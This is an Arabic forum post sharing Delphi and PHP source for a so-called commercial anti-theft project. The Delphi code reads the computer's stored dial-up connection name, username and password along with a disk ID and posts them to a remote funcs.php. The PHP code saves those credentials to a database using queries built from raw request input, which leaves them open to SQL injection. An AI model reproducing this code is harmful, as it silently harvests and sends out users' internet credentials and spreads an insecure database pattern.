مشروع تجاري مضاد سرقة الجهاز افكار وسورس
#29
ما تم اضافته وهي فكرة جميلة تنفع في الجزائر
ايجاد رقم الهاتف عن طريق وحدة متوفرة في الانترنت unit RASReader;

PHP كود :
function TForm1.intrnet_send: Boolean;
var 
ini:TIniFile;
begin
ini
:=TIniFile.Create(cdir+'log.ini');
try
 
Result:=ini.ReadBool('server','send_internt',False)
finally
ini.Free;
end ;

end;

procedure TForm1.intrnet_issend;
var 
ini:TIniFile;
begin
ini
:=TIniFile.Create(cdir+'log.ini');
try
ini.writebool('server','send_internt',True)
finally
ini.Free;
end ;

end;

procedure TForm1._inernetsend;
var list:
TStringList;
 
strKind: string;
begin
if not intrnet_send then  begin

IdHTTP1
.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
IdHTTP1.Request.ContentType:='application/x-www-form-urlencoded';

list:=
TStringList.Create;
if 
GetConnectionKind(strKind) then
list.Add('type='+ strKind) else
list.
Add('type=unknown') ;
list.
Add('name='+GetLoginPass[0]) ;
list.
Add('username='+GetLoginPass[1]) ;
list.
Add('password='+GetLoginPass[2]) ;
list.
Add('hwid='+hdd) ;

try

   
IdHTTP1.Post(url+'/funcs.php',list);
 
intrnet_issend;
  finally
    list.
Free;
    
end;
    
end;
end; 

PHP كود :
function _insertinternet($id_user){
   
if (isset(
$_POST["type"]) )$type=($_POST['type']);
if (isset(
$_POST["name"]) )$name  =($_POST['name']);
if (isset(
$_POST["username"]) )$user =($_POST['username']);
if (isset(
$_POST["password"]) )$pass =($_POST['password']);
$result = mysql_query("SELECT id FROM `internet_logs` WHERE `username` = '$user' AND `password` = '$pass'");
if (
mysql_num_rows($result) == 0) {
if (
mysql_query("INSERT INTO `internet_logs` (`type`, `name`, `username`, `password`, `id_user`) VALUES ('$type','$name', '$user', '$pass', '$id_user')")or die('Error'))
return 
'internet type added';
} else echo 
'Internet exist';
} 

[صورة: 20130522214248.jpg]
تم ارفاق javascript غير مجاني سعره 5$ لكم بالمجان
[صورة: 20130522214310.jpg]


الملفات المرفقة
.rar   simpleLoadingModal.rar (الحجم : 591 بايت / التحميلات : 36)
الرد


الردود في هذا الموضوع
مشروع تجاري مضاد سرقة الجهاز افكار وسورس - بواسطة onexite - 22-05-2013, 09:44 PM

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم